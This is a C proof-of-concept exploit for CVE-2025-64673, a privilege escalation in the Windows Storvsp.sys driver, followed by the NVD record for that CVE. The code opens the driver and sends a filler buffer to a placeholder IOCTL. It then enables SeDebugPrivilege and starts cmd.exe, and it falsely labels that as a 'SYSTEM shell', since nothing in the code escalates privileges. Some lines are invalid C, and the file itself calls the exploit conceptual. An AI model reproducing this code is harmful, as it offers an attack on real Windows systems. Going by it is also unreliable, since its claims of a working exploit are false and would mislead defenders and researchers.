CVE-2025-64673

// CVE-2025-64673 PoC - Storvsp.sys Local Privilege Escalation // This PoC demonstrates the improper access control vulnerability in Storvsp.sys // Author: Security Researcher // Date: 2025-12-09 #include <windows.h> #include <stdio.h> #include <stdint.h> // Device name for Storvsp.sys #define DEVICE_NAME "\\\\.\\StorVsp" #define IOCTL_VULNERABLE_OPERATION 0x9C402088 // Example IOCTL code // Function to open handle to the driver HANDLE open_driver_handle() { return CreateFileA( DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); } // Trigger the vulnerability BOOL trigger_vulnerability(HANDLE hDevice) { DWORD bytes_returned = 0; uint8_t input_buffer[0x100] = {0}; uint8_t output_buffer[0x100] = {0}; // Initialize input buffer with trigger data memset(input_buffer, 0x41, sizeof(input_buffer)); // Send malicious IOCTL request // The driver fails to properly validate caller privileges BOOL result = DeviceIoControl( hDevice, IOCTL_VULNERABLE_OPERATION, input_buffer, sizeof(input_buffer), output_buffer, sizeof(output_buffer), &bytes_returned, NULL ); return result; } // Escalate to SYSTEM privileges BOOL escalate_privileges() { HANDLE hToken = NULL; HANDLE hNewToken = NULL; TOKEN_PRIVILEGES tp = {0}; // Get current process token if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) { return FALSE; } // Enable SeDebugPrivilege tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tp.Privileges[0].Luid = {0}; if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { CloseHandle(hToken); return FALSE; } AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); // Spawn SYSTEM shell STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(si); if (CreateProcessA( "C:\\\\Windows\\\\System32\\\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi )) { // Wait for shell WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } CloseHandle(hToken); return TRUE; } int main() { printf("[*] CVE-2025-64673 PoC - Storvsp.sys Improper Access Control\n"); printf("[*] Opening handle to StorVsp driver...\n"); HANDLE hDevice = open_driver_handle(); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open driver handle. Error: %d\n", GetLastError()); return 1; } printf("[+] Driver handle opened successfully\n"); printf("[*] Triggering vulnerability...\n"); if (trigger_vulnerability(hDevice)) { printf("[+] Vulnerability triggered successfully\n"); printf("[*] Escalating privileges...\n"); escalate_privileges(); } else { printf("[-] Failed to trigger vulnerability. Error: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; } // Note: This is a conceptual PoC for educational purposes. // Actual exploitation requires further analysis of the specific IOCTL codes // and memory layout of the target system.

{"cve": {"id": "CVE-2025-64673", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:06.750", "lastModified": "2025-12-10T19:07:21.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in Storvsp.sys Driver allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "5CEB496A-8AF3-458D-B466-16204E535DE0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "C99D0580-E443-4440-A211-19BA3C2C4AFA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6691", "matchCriteriaId": "9D04167A-522C-433E-8CEB-C1D8A02C23D8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6691", "matchCriteriaId": "A86D6CDC-55E5-4817-A6CE-4CE41921FB79"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6345", "matchCriteriaId": "6DCE32D0-A9E0-4029-AB35-5E202A42AF01"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "8DCD2A6E-7CD0-4FCC-AC11-5A1470776C24"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7392", "matchCriteriaId": "8EA08CDD-D682-403D-8B50-879EB4D88C67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "A20DBDB1-D0DE-4800-8BEA-35EE5D53659D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4467", "matchCriteriaId": "C552FBB4-8F98-492E-A084-AF14C9514A67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2025", "matchCriteriaId": "E9CE4A36-DA42-40CC-8724-E30A22CA84B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "35BBEADA-D039-479B-A1BA-B2A7E37235BE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-64673", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}